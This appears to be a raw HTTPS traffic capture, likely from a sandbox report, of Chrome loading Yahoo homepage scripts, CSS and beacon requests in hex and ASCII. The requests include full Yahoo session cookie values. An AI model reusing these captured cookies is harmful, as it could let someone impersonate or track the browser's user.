2024-01-10 23:27:09 UTC	847	OUT	GET /ybar/cerebro_min.js HTTP/1.1 Host: edge-mcdn.secure.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E
2024-01-10 23:27:09 UTC	791	IN	HTTP/1.1 200 OK x-amz-id-2: LncoXOKtTZR4UoEnqY9YQnm6s9OZRN+374RIkGorBRuwD+3bR1Z/X5vT49eYbw/Z4qk0Zay9GhA= x-amz-request-id: 2349JBARMBTYSYGY Date: Wed, 10 Jan 2024 08:56:35 GMT Last-Modified: Thu, 05 May 2022 20:34:05 GMT x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 5636 Referrer-Policy: no-referrer-when-downgrade Etag: "0ccb51bc1dd6980920da39e008a599e0" Age: 52235 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Timing-Allow-Origin: * Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 76 61 72 20 57 4f 52 4b 5f 53 45 52 56 45 52 3d 22 68 74 74 70 73 3a 2f 2f 65 64 67 65 2d 6d 63 64 6e 2e 73 65 63 75 72 65 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 79 62 61 72 2f 65 78 70 2e 6a 73 6f 6e 22 2c 54 49 4d 45 4f 55 54 3d 32 65 33 2c 43 65 72 65 62 72 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 74 68 69 73 2e 75 70 6c 6f 61 64 54 79 70 65 3d 22 69 6e 64 69 76 69 64 75 61 6c 22 2c 74 68 69 73 2e 65 78 70 43 6f 75 6e 74 3d 30 2c 74 68 69 73 2e 70 65 6e 64 69 6e 67 3d 7b 7d 2c 74 68 69 73 2e 63 6f 6d 70 6c 65 74 65 3d 30 7d 72 65 74 75 72 6e 20 65 2e 72 75 6e 45 78 70 65 72 69 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 28 6e 65 77 20 65 29 2e 5f 66 65 74 63 68 57 6f 72 6b 28 29 7d 2c 65 2e 73 65 6e 64 42 65 61 63 6f Data Ascii: var WORK_SERVER="https://edge-mcdn.secure.yahoo.com/ybar/exp.json",TIMEOUT=2e3,Cerebro=function(){function e(){this.uploadType="individual",this.expCount=0,this.pending={},this.complete=0}return e.runExperiment=function(){(new e)._fetchWork()},e.sendBeaco
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 69 73 20 30 22 29 3b 65 6c 73 65 7b 69 66 28 6e 3e 3d 65 2e 65 78 70 4c 69 73 74 2e 6c 65 6e 67 74 68 29 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 6d 61 72 6b 65 64 20 61 6c 6c 20 65 78 70 65 72 69 6d 65 6e 74 73 20 74 6f 20 72 75 6e 20 61 73 20 65 78 70 43 6f 75 6e 74 20 3e 3d 20 65 78 70 4c 69 73 74 20 6c 65 6e 67 74 68 22 29 2c 72 3d 65 2e 65 78 70 4c 69 73 74 3b 65 6c 73 65 20 69 66 28 22 72 61 6e 64 6f 6d 22 3d 3d 3d 74 29 7b 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 6d 61 72 6b 65 64 20 22 2b 6e 2b 22 20 72 61 6e 64 6f 6d 20 65 78 70 65 72 69 6d 65 6e 74 73 20 74 6f 20 72 75 6e 22 29 3b 66 6f 72 28 76 61 72 20 69 3d 30 3b 69 3c 6e 3b 69 2b 2b 29 7b 76 61 72 20 73 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 28 65 2e 65 78 Data Ascii: is 0");else{if(n>=e.expList.length)console.log("marked all experiments to run as expCount >= expList length"),r=e.expList;else if("random"===t){console.log("marked "+n+" random experiments to run");for(var i=0;i<n;i++){var s=Math.floor(Math.random()*(e.ex
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 65 61 63 6f 6e 73 22 29 7d 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 6e 64 42 65 61 63 6f 6e 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 6d 3d 74 68 69 73 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 73 74 61 72 74 54 69 6d 65 3d 30 2c 74 68 69 73 2e 65 6e 64 54 69 6d 65 3d 30 2c 74 68 69 73 2e 73 6f 75 72 63 65 3d 22 64 65 66 61 75 6c 74 22 7d 2c 74 3d 30 2c 6f 3d 65 3b 74 3c 6f 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 72 3d 6f 5b 74 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 72 2c 69 2c 73 2c 6f 2c 61 2c 75 2c 63 29 7b 76 61 72 20 6c 2c 70 2c 64 2c 66 2c 68 3b 30 3c 61 2e 6c 65 6e 67 74 68 7c 7c 30 3c 6f 2e 6c 65 6e 67 74 68 3f 28 70 3d 6e 65 77 20 6e 2c 64 3d 21 31 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 Data Ascii: eacons")}},e.prototype._sendBeacons=function(e){for(var m=this,n=function(){this.startTime=0,this.endTime=0,this.source="default"},t=0,o=e;t<o.length;t++){var r=o[t];!function(r,i,s,o,a,u,c){var l,p,d,f,h;0<a.length\|\|0<o.length?(p=new n,d=!1,new Promise(f
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 74 29 2c 66 7c 7c 65 28 29 7d 2c 68 2e 73 74 61 72 74 54 69 6d 65 3d 44 61 74 65 2e 6e 6f 77 28 29 2c 6f 2e 73 72 63 3d 72 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 22 70 65 72 66 6f 72 6d 61 6e 63 65 22 69 6e 20 77 69 6e 64 6f 77 26 26 22 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 22 69 6e 20 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 29 7b 68 2e 65 6e 64 54 69 6d 65 3d 44 61 74 65 2e 6e 6f 77 28 29 2c 68 2e 73 6f 75 72 63 65 3d 22 69 6d 61 67 65 22 3b 76 61 72 20 65 3d 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 67 65 74 45 6e 74 72 69 65 73 42 79 4e 61 6d 65 28 72 29 3b 6d 2e 65 78 70 43 6f 75 6e 74 3d 31 3c 65 2e 6c 65 6e 67 74 68 3f 6d 2e 65 78 70 43 6f 75 6e Data Ascii: clearTimeout(t),f\|\|e()},h.startTime=Date.now(),o.src=r}).then(function(){if("performance"in window&&"getEntriesByType"in window.performance){h.endTime=Date.now(),h.source="image";var e=window.performance.getEntriesByName(r);m.expCount=1<e.length?m.expCoun
2024-01-10 23:27:09 UTC	436	IN	Data Raw: 22 2c 6c 3d 5b 5d 2c 69 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 63 2b 3d 65 2e 72 65 70 6c 61 63 65 28 22 3c 42 45 41 43 4f 4e 3e 22 2c 6e 29 2c 6c 2e 70 75 73 68 28 65 2e 72 65 70 6c 61 63 65 28 22 3c 42 45 41 43 4f 4e 3e 22 2c 6e 29 29 7d 29 2c 22 67 72 6f 75 70 22 3d 3d 74 68 69 73 2e 75 70 6c 6f 61 64 54 79 70 65 3f 28 63 20 69 6e 20 74 68 69 73 2e 70 65 6e 64 69 6e 67 7c 7c 28 74 68 69 73 2e 70 65 6e 64 69 6e 67 5b 63 5d 3d 5b 5d 29 2c 74 68 69 73 2e 70 65 6e 64 69 6e 67 5b 63 5d 2e 70 75 73 68 28 5b 75 2c 6c 5d 29 2c 74 68 69 73 2e 63 6f 6d 70 6c 65 74 65 2b 2b 2c 74 68 69 73 2e 63 6f 6d 70 6c 65 74 65 3d 3d 74 68 69 73 2e 65 78 70 43 6f 75 6e 74 26 26 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 68 69 73 2e 70 65 6e 64 69 6e 67 29 Data Ascii: ",l=[],i.forEach(function(e){c+=e.replace("<BEACON>",n),l.push(e.replace("<BEACON>",n))}),"group"==this.uploadType?(c in this.pending\|\|(this.pending[c]=[]),this.pending[c].push([u,l]),this.complete++,this.complete==this.expCount&&Object.keys(this.pending)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49801	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:09 UTC	599	OUT	GET /pv/static/ms/trendingNow.yhome-atomic.60573feacc990fc974a2277314a57836.min.css HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:09 UTC	787	IN	HTTP/1.1 200 OK x-amz-id-2: y2ztdpUyQVw5iKBuclxf0U2Nd2XipORI/VO9xxiGL1Z9st1zclh9T8XbSRgReAYVKTKVwrISynY= x-amz-request-id: 73898KABGTTS4E4A Date: Wed, 10 Jan 2024 18:24:20 GMT Last-Modified: Mon, 13 Nov 2023 08:52:05 GMT ETag: "d4b11699644a1c52fc7555429a44100f" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=315360000 Accept-Ranges: bytes Content-Type: text/css Server: ATS Content-Length: 9999 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 18170 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 23 61 74 6f 6d 69 63 20 2e 41 69 5c 28 63 5c 29 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 7d 23 61 74 6f 6d 69 63 20 2e 42 64 5c 28 6e 5c 29 2c 2e 42 64 5c 28 6e 5c 29 7b 62 6f 72 64 65 72 3a 6e 6f 6e 65 7d 23 61 74 6f 6d 69 63 20 2e 42 64 63 5c 28 5c 24 73 72 63 68 46 75 6a 69 44 69 72 74 79 53 65 61 67 75 6c 6c 5c 29 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 65 30 65 34 65 39 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 64 69 72 74 79 2d 73 65 61 67 75 6c 6c 2c 23 65 30 65 34 65 39 29 7d 23 61 74 6f 6d 69 63 20 2e 42 64 63 5c 28 74 5c 29 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 23 61 74 6f 6d 69 63 20 2e 42 64 65 6e 64 63 5c 28 5c 23 30 30 35 37 62 38 5c 29 5c 3a 5c 3a 62 3a 3a 62 65 Data Ascii: #atomic .Ai$c${align-items:center}#atomic .Bd$n$,.Bd$n${border:none}#atomic .Bdc$\$srchFujiDirtySeagull${border-color:#e0e4e9;border-color:var(--dirty-seagull,#e0e4e9)}#atomic .Bdc$t${border-color:transparent}#atomic .Bdendc$\#0057b8$\:\:b::be
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 77 69 64 74 68 3a 31 31 32 70 78 7d 23 61 74 6f 6d 69 63 20 2e 42 64 72 73 5c 28 32 70 78 5c 29 5c 3a 5c 3a 62 3a 3a 62 65 66 6f 72 65 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 70 78 7d 23 61 74 6f 6d 69 63 20 2e 42 64 72 73 5c 28 33 30 70 78 5c 29 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 42 64 72 73 5c 28 38 70 78 5c 29 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 38 70 78 7d 23 61 74 6f 6d 69 63 20 2e 42 64 72 73 62 65 6e 64 5c 28 38 70 78 5c 29 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 38 70 78 7d 23 61 74 6f 6d 69 63 20 2e 42 64 72 73 62 73 74 61 72 74 5c 28 38 70 78 5c 29 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 6c Data Ascii: {border-left-width:112px}#atomic .Bdrs$2px$\:\:b::before{border-radius:2px}#atomic .Bdrs$30px${border-radius:30px}#atomic .Bdrs$8px${border-radius:8px}#atomic .Bdrsbend$8px${border-bottom-right-radius:8px}#atomic .Bdrsbstart$8px${border-bottom-l
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 2e 63 6f 6d 2f 70 76 2f 73 74 61 74 69 63 2f 69 6d 67 2f 66 69 72 65 49 63 6f 6e 46 69 6e 61 6c 5f 5f 61 6c 70 68 61 5f 62 67 2d 32 30 32 33 31 31 30 31 30 33 33 31 2e 67 69 66 27 29 29 7d 2e 61 63 74 69 76 65 20 2e 61 63 74 69 76 65 5f 42 67 63 5c 28 5c 24 73 72 63 68 46 75 6a 69 57 68 69 74 65 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 77 68 69 74 65 2c 23 66 66 66 29 21 69 6d 70 6f 72 74 61 6e 74 7d 23 61 74 6f 6d 69 63 20 2e 42 67 63 5c 28 5c 23 37 65 31 66 66 66 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 37 65 31 66 66 66 7d 23 61 74 6f 6d 69 63 20 2e 42 67 63 5c 28 5c 24 73 72 63 68 46 75 6a 69 57 68 Data Ascii: .com/pv/static/img/fireIconFinal__alpha_bg-202311010331.gif'))}.active .active_Bgc$\$srchFujiWhite${background-color:#fff!important;background-color:var(--white,#fff)!important}#atomic .Bgc$\#7e1fff${background-color:#7e1fff}#atomic .Bgc\(\$srchFujiWh
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 69 63 20 2e 43 5c 28 5c 24 73 72 63 68 46 75 6a 69 42 61 74 63 61 76 65 5c 29 7b 63 6f 6c 6f 72 3a 23 32 33 32 61 33 31 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 61 74 63 61 76 65 2c 23 32 33 32 61 33 31 29 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 5c 24 73 72 63 68 46 75 6a 69 43 68 61 72 63 6f 61 6c 5c 29 7b 63 6f 6c 6f 72 3a 23 34 36 34 65 35 36 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 63 68 61 72 63 6f 61 6c 2c 23 34 36 34 65 35 36 29 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 5c 24 73 72 63 68 46 75 6a 69 44 6f 6c 70 68 69 6e 5c 29 7b 63 6f 6c 6f 72 3a 23 36 65 37 37 38 30 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 64 6f 6c 70 68 69 6e 2c 23 36 65 37 37 38 30 29 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 5c 24 73 72 63 68 46 75 6a 69 44 6f 72 79 5c 29 7b 63 6f 6c 6f Data Ascii: ic .C$\$srchFujiBatcave${color:#232a31;color:var(--batcave,#232a31)}#atomic .C$\$srchFujiCharcoal${color:#464e56;color:var(--charcoal,#464e56)}#atomic .C$\$srchFujiDolphin${color:#6e7780;color:var(--dolphin,#6e7780)}#atomic .C$\$srchFujiDory${colo
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 77 5c 28 62 5c 29 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 23 61 74 6f 6d 69 63 20 2e 46 7a 5c 28 30 5c 2e 36 38 37 35 72 65 6d 5c 29 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 36 38 37 35 72 65 6d 7d 23 61 74 6f 6d 69 63 20 2e 46 7a 5c 28 30 5c 2e 38 37 35 72 65 6d 5c 29 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 37 35 72 65 6d 7d 23 61 74 6f 6d 69 63 20 2e 46 7a 5c 28 31 32 70 78 5c 29 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 7d 23 61 74 6f 6d 69 63 20 2e 46 7a 5c 28 31 34 70 78 5c 29 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 23 61 74 6f 6d 69 63 20 2e 46 7a 5c 28 31 36 70 78 5c 29 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 7d 23 61 74 6f 6d 69 63 20 2e 46 7a 5c 28 31 38 70 78 5c 29 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 7d 23 61 74 6f Data Ascii: w$b${font-weight:700}#atomic .Fz$0\.6875rem${font-size:.6875rem}#atomic .Fz$0\.875rem${font-size:.875rem}#atomic .Fz$12px${font-size:12px}#atomic .Fz$14px${font-size:14px}#atomic .Fz$16px${font-size:16px}#atomic .Fz$18px${font-size:18px}#ato
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 28 38 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 38 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 73 74 61 72 74 5c 28 30 5c 29 2c 23 61 74 6f 6d 69 63 20 2e 4d 73 74 61 72 74 5c 28 30 5c 29 5c 3a 66 6f 74 3a 66 69 72 73 74 2d 6f 66 2d 74 79 70 65 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 23 61 74 6f 6d 69 63 20 2e 4d 73 74 61 72 74 5c 28 31 36 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 36 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 73 74 61 72 74 5c 28 34 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 73 74 61 72 74 5c 28 38 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 73 74 61 72 74 5c 28 39 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 39 Data Ascii: (8px\){margin-bottom:8px}#atomic .Mstart$0$,#atomic .Mstart$0$\:fot:first-of-type{margin-left:0}#atomic .Mstart$16px${margin-left:16px}#atomic .Mstart$4px${margin-left:4px}#atomic .Mstart$8px${margin-left:8px}#atomic .Mstart$9px${margin-left:9
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 78 7d 23 61 74 6f 6d 69 63 20 2e 50 79 5c 28 37 70 78 5c 29 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 37 70 78 7d 23 61 74 6f 6d 69 63 20 2e 50 74 5c 28 31 31 70 78 5c 29 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 31 70 78 7d 23 61 74 6f 6d 69 63 20 2e 50 74 5c 28 32 70 78 5c 29 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 7d 2e 77 61 66 65 72 2d 74 61 62 73 2d 74 61 72 67 65 74 20 2e 77 61 66 65 72 2d 74 61 62 73 2d 74 61 72 67 65 74 5f 50 74 5c 28 31 32 70 78 5c 29 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 32 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 77 61 66 65 72 2d 74 61 62 73 2d 74 61 72 67 65 74 20 2e 77 61 66 65 72 2d 74 61 62 73 2d 74 61 72 67 65 74 5f 50 74 5c 28 38 70 78 5c 29 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 38 70 78 21 69 6d 70 Data Ascii: x}#atomic .Py$7px${padding-bottom:7px}#atomic .Pt$11px${padding-top:11px}#atomic .Pt$2px${padding-top:2px}.wafer-tabs-target .wafer-tabs-target_Pt$12px${padding-top:12px!important}.wafer-tabs-target .wafer-tabs-target_Pt$8px${padding-top:8px!imp
2024-01-10 23:27:09 UTC	899	IN	Data Raw: 78 5c 29 7b 77 69 64 74 68 3a 31 31 2e 32 35 70 78 7d 23 61 74 6f 6d 69 63 20 2e 57 5c 28 31 31 32 70 78 5c 29 7b 77 69 64 74 68 3a 31 31 32 70 78 7d 23 61 74 6f 6d 69 63 20 2e 57 5c 28 31 36 35 70 78 5c 29 7b 77 69 64 74 68 3a 31 36 35 70 78 7d 23 61 74 6f 6d 69 63 20 2e 57 5c 28 31 36 70 78 5c 29 7b 77 69 64 74 68 3a 31 36 70 78 7d 23 61 74 6f 6d 69 63 20 2e 57 5c 28 32 30 70 78 5c 29 7b 77 69 64 74 68 3a 32 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 57 5c 28 32 34 30 70 78 5c 29 7b 77 69 64 74 68 3a 32 34 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 57 5c 28 35 30 5c 25 5c 29 7b 77 69 64 74 68 3a 35 30 25 7d 23 61 74 6f 6d 69 63 20 2e 57 5c 28 39 39 70 78 5c 29 7b 77 69 64 74 68 3a 39 39 70 78 7d 23 61 74 6f 6d 69 63 20 2e 57 5c 28 6d 69 6e 63 5c 29 7b 77 69 64 Data Ascii: x\){width:11.25px}#atomic .W$112px${width:112px}#atomic .W$165px${width:165px}#atomic .W$16px${width:16px}#atomic .W$20px${width:20px}#atomic .W$240px${width:240px}#atomic .W$50\%${width:50%}#atomic .W$99px${width:99px}#atomic .W$minc${wid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49802	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:09 UTC	1094	OUT	GET /info/p.gif?apptype=default&beaconType=pageRenderStart&code=pageRender&bucket=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&device=desktop&intl=us&rid=0gast8pipu9uc&site=fp&t=1704929228265 HTTP/1.1 Host: www.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E
2024-01-10 23:27:09 UTC	1138	IN	HTTP/1.1 204 No Content referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 x-powered-by: Express content-type: image/gif content-security-policy-report-only: default-src 'self'; report-uri https://csp.yahoo.com/beacon/csp?src=fendr_beaconeater.media.yahoo.com date: Wed, 10 Jan 2024 23:27:09 GMT x-envoy-upstream-service-time: 1 server: ATS Age: 0 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=2cr6gfdipu9ud&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49803	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:09 UTC	1092	OUT	GET /info/p.gif?apptype=default&beaconType=pageRenderEnd&code=pageRender&bucket=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&device=desktop&intl=us&rid=0gast8pipu9uc&site=fp&t=1704929228268 HTTP/1.1 Host: www.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E
2024-01-10 23:27:09 UTC	1138	IN	HTTP/1.1 204 No Content referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 x-powered-by: Express content-type: image/gif content-security-policy-report-only: default-src 'self'; report-uri https://csp.yahoo.com/beacon/csp?src=fendr_beaconeater.media.yahoo.com date: Wed, 10 Jan 2024 23:27:09 GMT x-envoy-upstream-service-time: 3 server: ATS Age: 0 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=0mi2vatipu9ud&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49805	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
